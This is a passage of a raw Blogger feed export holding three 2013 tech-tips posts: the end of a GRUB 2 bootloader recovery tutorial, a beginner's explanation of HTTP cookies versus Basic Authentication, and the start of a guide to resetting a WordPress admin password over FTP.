&lt;span class=&quot;crayon-v&quot;&gt;$sudo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;unmount&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;media&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;sda1&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;12f697f2-b736-4ba2-9df2-79d8017411d1&quot; id=&quot;43c839f1-ea2b-4909-a84f-3c3a98dcdfa1&quot;&gt;proc&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d1eb5f2a597-4&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d1eb5f2a597-5&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$sudo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;unmount&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;media&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;sda1&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;dev&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d1eb5f2a597-6&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d1eb5f2a597-7&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$sudo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;unmount&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;media&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;sda1&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d1eb5f2a597-8&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d1eb5f2a597-9&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$sudo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;reboot&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
					&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
You’ve successfully completed recovering your boot loader. Try this 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f4db46b8-d00c-4756-bd97-bc89f22c3485&quot; id=&quot;d21a48bb-f628-4f91-8e74-eddcdf9ec8ca&quot;&gt;it&lt;/span&gt; will help you for sure. Be careful while doing this and keep the 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;4d6c3d21-eb91-46dd-a173-32e861310df2&quot; id=&quot;570a42d4-7d4a-4702-90d0-2c7b6c257832&quot;&gt;steps&lt;/span&gt; in your mind.&lt;/i&gt;&lt;/i&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/3224941155280540654/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/07/grub-2-recovery.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/3224941155280540654'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/3224941155280540654'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/07/grub-2-recovery.html' title='Tutorial for Grub 2 recovery'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-8435668207924737993</id><published>2013-07-02T02:29:00.003+05:30</published><updated>2013-07-02T02:29:37.306+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Html Tips"/><category scheme="http://www.blogger.com/atom/ns#" term="Joomla Tips"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP Tips"/><title type='text'>Cookies Explanation for Beginners</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;a href=&quot;http://voidtricks.com/wp-content/uploads/2013/06/cookies.jpg&quot;&gt;&lt;img alt=&quot;cookies&quot; class=&quot;alignnone size-medium wp-image-676&quot; height=&quot;173&quot; src=&quot;http://voidtricks.com/wp-content/uploads/2013/06/cookies-300x173.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;

&lt;h2&gt;
cookies&lt;/h2&gt;
Starting with &lt;a href=&quot;http://download.cnet.com/Netscape-Navigator/3000-2356_4-10145004.html&quot; target=&quot;_blank&quot; title=&quot;netscape navigator&quot;&gt;Netscape&lt;/a&gt; 3.0 in 1996, browsers began to offer support for cookie&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;40d302be-ff1d-4b84-ac8a-a2fbba9a36e6&quot; id=&quot;61dacf78-0dce-45b4-8da0-45b77ff24734&quot;&gt;.&lt;/span&gt;The following is a quote from the Netscape cookie specification:&lt;br /&gt;

A server, when returning an &lt;a href=&quot;http://www.w3.org/Protocols/HTTP/Object_Headers.html%E2%80%8E&quot; target=&quot;_blank&quot; title=&quot;http objects&quot;&gt;HTTP object&lt;/a&gt;
 &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;dcf3de72-934c-4a76-8872-b7c87a5c8a6d&quot; id=&quot;6ac5a5bb-246a-40fa-a41b-a571902bbe04&quot;&gt;to&lt;/span&gt; a client, may also send a piece of state information which the 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e15985c6-fa03-4edd-9ee4-3a5ee82a3bfa&quot; id=&quot;b353b6fe-15a2-4301-9091-7a899f2f1f97&quot;&gt;client&lt;/span&gt; will store. Included in that state object is a description of the
 &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;541b3103-2be5-4787-9fa4-4d31514ab853&quot; id=&quot;d81c56b5-7aa8-4f25-b92e-3029ce6177f1&quot;&gt;range&lt;/span&gt; of URLs for which that state is valid. Any future HTTP requests 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;dae68a77-081d-4d0f-9a9d-6da958aa799e&quot; id=&quot;e33d0549-d1c4-4895-84d1-c64607a04836&quot;&gt;made&lt;/span&gt; by the client which fall in that range will include a transmittal 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;1e0b0952-60c2-447d-ab28-c0c6a76dc597&quot; id=&quot;1e8fa4e4-71b6-43c8-a971-a630b13ef66b&quot;&gt;of&lt;/span&gt; the current value of the state object from the client back to the 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;336f0686-d581-4701-ad81-faddc15f1181&quot; id=&quot;bca2ebb6-bd5c-4013-acb4-6cf9e01e3496&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;336f0686-d581-4701-ad81-faddc15f1181&quot; id=&quot;a614a5ec-db3c-466b-b02b-4c0730d7f838&quot;&gt;.&lt;/span&gt;The state object is called a cookie, for no compelling reason.&lt;br /&gt;

Cookies provide an invaluable tool for maintaining state between 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f54b62e9-c6ff-4e79-83b3-be5b3f7a7a0b&quot; id=&quot;8476a2b3-b5d5-4490-9bfe-4c0d02fd23c6&quot;&gt;requests&lt;/span&gt;. More than just a way of conveying credentials and 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;456f0ba8-1386-439a-b1af-a975ed58f828&quot; id=&quot;141d3bf5-1bc5-4246-99ff-e6aec8b2e4ef&quot;&gt;authorizations&lt;/span&gt;, cookies can be effectively used to pass large and 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;0e2d6ef1-1e10-42de-877c-6a4c267d5c45&quot; id=&quot;14e7270b-cda9-43ea-84a7-8c0bdccb4102&quot;&gt;arbitrary&lt;/span&gt; state information between requests—even after the browser has 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f2fa524e-9ac4-4364-ac90-e1da3633f1e8&quot; id=&quot;b226a446-5419-41c0-9337-bb0682aaa2f4&quot;&gt;been&lt;/span&gt; shut down and restarted.&lt;br /&gt;

Cookies are the de facto standard for transparently passing 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6b8501cb-1935-4b3a-a2e5-891e43eb24fd&quot; id=&quot;ac3342f7-1c66-48e4-bef3-6ac3708880b2&quot;&gt;information&lt;/span&gt; with HTTP requests&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6b8501cb-1935-4b3a-a2e5-891e43eb24fd&quot; id=&quot;1596d239-40d3-488d-9a27-8b5cc75f9da1&quot;&gt;.&lt;/span&gt;These are the major benefits of cookies 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;07629809-cbb8-40eb-a6ea-dd1b8ff46d23&quot; id=&quot;06d4f945-564a-4a75-87c0-801acd499d55&quot;&gt;over&lt;/span&gt; Basic Authentication:&lt;br /&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Versatility&lt;/strong&gt;—Cookies provide an excellent means for 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;af340c18-6958-4b2f-8648-8316d9ed8253&quot; id=&quot;6f0aace9-b8d2-4541-b52c-3580e6b83553&quot;&gt;passing&lt;/span&gt; around arbitrary information between requests. Basic 
Authentication is, as its name says, basic.&lt;br /&gt;

&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Persistence&lt;/strong&gt;—Cookies can be set to remain resident 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3a01361d-a6b9-4299-ab3e-f232515a04dc&quot; id=&quot;c8797a5f-79ec-41d7-8cb5-edfed9269855&quot;&gt;in&lt;/span&gt; a user’s browser between sessions. Many sites take advantage of this 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d65373e5-2549-4db6-9544-0b251a1f10cc&quot; id=&quot;53f0872d-073b-4115-80d2-e8c6a25d5a33&quot;&gt;to&lt;/span&gt; enable &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d65373e5-2549-4db6-9544-0b251a1f10cc&quot; id=&quot;0d93c65e-f2a0-4a73-acfb-e851ae59830f&quot;&gt;transparent&lt;/span&gt;, or automatic, login based on the &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d65373e5-2549-4db6-9544-0b251a1f10cc&quot; id=&quot;781d44db-97a9-4b61-9674-1f437ff7b10b&quot;&gt;cookied&lt;/span&gt; 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;0e893f7b-3264-450b-9bd1-e4a1d2b7b265&quot; id=&quot;fc9d1898-fcc9-45d7-8c05-cb8b8e4e60ad&quot;&gt;information&lt;/span&gt;.
Clearly this setup has security ramifications, but many sites make 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7f1374e7-b341-46c3-8cba-b80cb81cbe0a&quot; id=&quot;e6277c92-87c9-4718-a759-35e848e66642&quot;&gt;the&lt;/span&gt; security sacrifice to take advantage of the enhanced usability.&lt;br /&gt;

Of course users can set their cookie preferences to refuse cookies 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5d9c3234-46c6-4e16-919b-a941e36b440d&quot; id=&quot;3d4ad7b8-2444-4d49-9347-dc70a59d2b62&quot;&gt;from&lt;/span&gt; your site. It’s up to you how much effort you want to apply to 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5cf4da40-03e5-4121-8479-b475865dcc79&quot; id=&quot;8fed4060-d3c6-4693-be0e-9963799039d3&quot;&gt;people&lt;/span&gt; who use extremely paranoid cookie policies.&lt;br /&gt;


&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Aesthetic&lt;/strong&gt;—Basic Authentication is the method 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;597b6ad5-e28d-4c5f-9fc8-a51b6ae43a46&quot; id=&quot;e329b03a-3211-44de-87ae-f774f7d84937&quot;&gt;that&lt;/span&gt; causes a browser to pop up that little username/password 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;23464388-4e3f-4adc-97ef-3b9226dece09&quot; id=&quot;601f77a1-7518-410e-ae72-018373cb5bea&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;23464388-4e3f-4adc-97ef-3b9226dece09&quot; id=&quot;67244c6f-d3a5-4eb2-b327-f302a34f196a&quot;&gt;.&lt;/span&gt;That window is &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;23464388-4e3f-4adc-97ef-3b9226dece09&quot; id=&quot;c46a1a46-5aff-47fa-b108-3b93ee23ba00&quot;&gt;unbranded&lt;/span&gt; and &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;23464388-4e3f-4adc-97ef-3b9226dece09&quot; id=&quot;bc764cb2-28e8-4c9c-9d75-a9714dc9cf43&quot;&gt;unstyled&lt;/span&gt;, and this is unacceptable 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;04e2260a-a415-440b-bb93-98530c990411&quot; id=&quot;73afe9ca-f243-4e38-9f69-198c75b0ec45&quot;&gt;in&lt;/span&gt; many designs&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;04e2260a-a415-440b-bb93-98530c990411&quot; id=&quot;cb9d3614-48f9-4f64-a5a7-2613a101a154&quot;&gt;.&lt;/span&gt;When you use a homegrown method, you have greater 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3a2d25b2-f0cb-4256-bc18-9bdf8e8658b1&quot; id=&quot;36830daf-9855-4e6b-bb06-2ae24fd5fa32&quot;&gt;flexibility&lt;/span&gt;.&lt;/li&gt;
&lt;/ul&gt;
The major drawback with using cookie-based authentication is that it 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;fe6ab867-6cd4-4fa8-b658-167567320202&quot; id=&quot;1d3ec9ee-b51c-4937-9c1c-2a73e2b0cc34&quot;&gt;does&lt;/span&gt; not allow you to easily protect non-PHP pages with them&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;fe6ab867-6cd4-4fa8-b658-167567320202&quot; id=&quot;c9b3db9d-7f86-469f-92c7-178875f55e32&quot;&gt;.&lt;/span&gt;To allow &lt;a href=&quot;http://www.apache.org/%E2%80%8E&quot; target=&quot;_blank&quot; title=&quot;apache server&quot;&gt;Apache&lt;/a&gt;
 &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;aadf96f0-140b-4d30-9ab4-2a649b534072&quot; id=&quot;f11ea499-ed03-4590-a7e3-a1b135890b82&quot;&gt;to&lt;/span&gt; read and understand the information in cookies, you need to have an 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;94842198-4480-44be-a877-97c5574e3c13&quot; id=&quot;aa70a684-63d7-4ba9-8041-23297021991c&quot;&gt;Apache module&lt;/span&gt; that can parse and read the cookies. If a Basic 
Authentication implementation in PHP employees any complex logic at all,
 &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;cd61e326-6fb5-4653-96d7-65e970c747ea&quot; id=&quot;283d5e07-0471-4b17-a343-43c47e592ea8&quot;&gt;you&lt;/span&gt; are stuck in a similar situation. So cookies aren’t so limiting 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;13d72113-0cec-4cef-b4a7-eb810e07070e&quot; id=&quot;edeff849-afde-4add-81cd-6a521c4ddd91&quot;&gt;after&lt;/span&gt; all.&lt;br /&gt;

&lt;blockquote&gt;
&lt;h3&gt;
Authentication Handlers Written in PHP&lt;/h3&gt;
In &lt;a href=&quot;http://voidtricks.com/php-form-handling/&quot; target=&quot;_blank&quot; title=&quot;PHP form handling Tutorial for beginners&quot;&gt;PHP 5&lt;/a&gt;
 &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;fb979ac6-6318-4b65-9bd3-cbb2c231bc58&quot; id=&quot;7f7a3a7f-0bc7-4c63-9fcb-36cf847a02bd&quot;&gt;there&lt;/span&gt; is an experimental SAPI called apache_hooks that allows you to 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ada3d556-b319-43c3-8270-be0ac49c91cd&quot; id=&quot;75847249-0d52-4d07-8f87-ebf9a1364b45&quot;&gt;author&lt;/span&gt; entire Apache modules in PHP. This means that you can implement 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;64fb9dda-7cfb-4545-b5a6-7d98cf5e257a&quot; id=&quot;bbf84662-7f29-4ca7-a9b5-8489d7e97c4d&quot;&gt;an&lt;/span&gt; Apache-level authentication handler that can apply your 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;060fc0ac-2219-40a2-974f-e1067a45a510&quot; id=&quot;6c9ddb7a-a70f-45f0-a176-b8c854de63f2&quot;&gt;authentication&lt;/span&gt; logic to all requests, not just PHP pages.&lt;br /&gt;

When this is stable, it provides an easy way to seamlessly implement 
arbitrarily complex authentication logic consistently across all objects
 on a site.&lt;br /&gt;

&lt;/blockquote&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/8435668207924737993/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/07/cookies-explanation-for-beginners.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/8435668207924737993'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/8435668207924737993'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/07/cookies-explanation-for-beginners.html' title='Cookies Explanation for Beginners'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-9154841914623789410</id><published>2013-07-02T02:28:00.000+05:30</published><updated>2013-07-02T02:28:02.314+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Html Tips"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP Tips"/><title type='text'>Easyway to resetting wordpress password using FTP</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;a href=&quot;http://voidtricks.com/wp-content/uploads/2013/05/resetting-wordpress-password.jpg&quot;&gt;&lt;img alt=&quot;resetting wordpress password&quot; class=&quot;alignnone size-full wp-image-501&quot; height=&quot;200&quot; src=&quot;http://voidtricks.com/wp-content/uploads/2013/05/resetting-wordpress-password.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;

&lt;h2&gt;
&lt;span class=&quot;GingerNoCheckStart&quot;&gt;&lt;/span&gt;Resetting &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;4e5b7440-30ee-4500-8e39-09136c9a48f0&quot; id=&quot;7f22e675-f090-444a-b3e0-32d59f8794ed&quot;&gt;wordpress&lt;/span&gt; password using FTP&lt;/h2&gt;
There &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;722ea6b3-8a1a-475e-8b01-2fac70ebac32&quot; id=&quot;732a56fd-04aa-42b1-9b08-52b3c2e33987&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;722ea6b3-8a1a-475e-8b01-2fac70ebac32&quot; id=&quot;d3d66409-f4af-4679-87b0-b68188d52bf0&quot;&gt;lot&lt;/span&gt; of methods for resetting &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;722ea6b3-8a1a-475e-8b01-2fac70ebac32&quot; id=&quot;d5737289-7eaf-4f1e-8962-2647b0cd987a&quot;&gt;wordpress&lt;/span&gt; password. Normally 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;087aabd8-b134-48aa-bf9d-cbc2a097870e&quot; id=&quot;6268154f-420d-403a-b2e9-6c097b093ae0&quot;&gt;you&lt;/span&gt; can reset password by clicking lost password link, which uses email 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e9b21a11-5563-4223-b8b4-7b8510e66b13&quot; id=&quot;3e3e838a-a4bb-43ff-a85a-d8e27b592167&quot;&gt;to&lt;/span&gt; reset your password.&lt;br /&gt;

But if email is not working and other methods also not working or any &lt;a href=&quot;http://voidtricks.com/404-error-after-permalink-change/&quot;&gt;404 errors&lt;/a&gt; occur, you can reset your password via FTP.&lt;br /&gt;

&lt;div class=&quot;red-text&quot;&gt;
Note: Use the methods at your own risk. I’m not responsible if any &lt;a href=&quot;http://en.wikipedia.org/wiki/Data&quot;&gt;data&lt;/a&gt; loss.&lt;/div&gt;
&lt;h3&gt;
Method 1: Edit functions.php&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Login to your site’s FTP and navigate to the directory 
“/&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e796b4f8-8ffb-4ab1-9adc-ae308cc07999&quot; id=&quot;9b6bd4a0-0bb9-495f-ab11-7f8100d804fb&quot;&gt;wp&lt;/span&gt;-content/themes/your active theme/”. Then download the file called 
functions.php&lt;/li&gt;
&lt;li&gt;Edit the file, and find first &lt;code&gt;&amp;lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ef69c91a-fa6e-4a03-aaf8-ac392856853a&quot; id=&quot;97ae5ca7-cba0-45d2-a931-b0da25b1c420&quot;&gt;php&lt;/span&gt;:&lt;/code&gt; and add the below code next to it.&lt;br /&gt;
&lt;code&gt;wp_set_password&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7f593a2c-0aca-47e3-8d1d-43f8de64dd64&quot; id=&quot;df85e96b-420c-4e00-9776-fe289712b18f&quot;&gt;(&lt;/span&gt;&#39;password&#39;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7f593a2c-0aca-47e3-8d1d-43f8de64dd64&quot; id=&quot;435bf1f8-9bf4-4a6b-b403-8c3d4ba8812b&quot;&gt;,&lt;/span&gt;1);&lt;/code&gt;&lt;br /&gt;
Put your desired new password for the main admin user. “1″ denotes the user ID in the wp_users table.&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d12104cc-fb4e-4455-8107-43f508f2a364&quot; id=&quot;4a3f449e-6263-4145-9c3f-c7ae28f98ce5&quot;&gt;once&lt;/span&gt; you’ve done upload the edited file back to the same directory 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;72073fa6-615e-4143-9ad7-f138666bee7c&quot; id=&quot;3053d33d-4aac-42f8-8379-a91541016dfb&quot;&gt;of&lt;/span&gt; your site. Select overwrite if &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;0bd7b495-4333-46c0-87a0-c68b55f5ae6a&quot; id=&quot;a3614e4d-19e2-432d-a5f9-d570e52ff6f9&quot;&gt;asks&lt;/span&gt;. Please make sure you have a 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;0cd86132-fbd2-4abc-ba80-d2f7738d488c&quot; id=&quot;69832235-4ceb-4086-ae0c-cd8b5c1850d5&quot;&gt;backup&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;Now you are able to login with the new password. Once you’ve logged 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;93f3bcd7-5f32-46bd-81f0-8afee2d2fbc3&quot; id=&quot;4ffa2812-83fc-45ff-95fb-e3364b501c41&quot;&gt;change&lt;/span&gt; new password using admin &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;93f3bcd7-5f32-46bd-81f0-8afee2d2fbc3&quot; id=&quot;1bc0f82f-fdbf-496c-8037-b42bcdea5bb1&quot;&gt;pannel&lt;/span&gt; and delete the code on 
functions.php. Otherwise it will reset the password on every &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;90f3e726-3a91-436c-ae92-38b8610777b5&quot; id=&quot;9355df64-42f7-485d-9bb2-7f3c54d247b8&quot;&gt;pageload&lt;/span&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
Method 2: Emergency reset script&lt;/h3&gt;
If the above method is not working you can use emergency password reset script&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;68e50eb6-f5aa-45fc-bd64-0abe7a9c9d13&quot; id=&quot;823f46b7-d86b-4a76-b2c7-7e1329f6c3d3&quot;&gt;.&lt;/span&gt;It is a PHP script.&lt;br /&gt;

&lt;strong&gt;Warnings:&lt;/strong&gt;&lt;br /&gt;

&lt;ul&gt;
&lt;li&gt;You should know the admin user name&lt;/li&gt;
&lt;li&gt;It will reset &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;638967f4-7389-4e20-8ab8-262e3f2fcd74&quot; id=&quot;aeeba4f8-9408-43a4-a25f-e4d36d4cccc3&quot;&gt;password&lt;/span&gt; and will send an email to &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;638967f4-7389-4e20-8ab8-262e3f2fcd74&quot; id=&quot;7c319798-d76a-4b97-a4f6-cd23dab112c1&quot;&gt;admin’s email id&lt;/span&gt;. 
Even though you didn’t receive email, the password will be changed.&lt;/li&gt;
&lt;li&gt;You don’t need to be logged in. If you could this method is not needed.&lt;/li&gt;
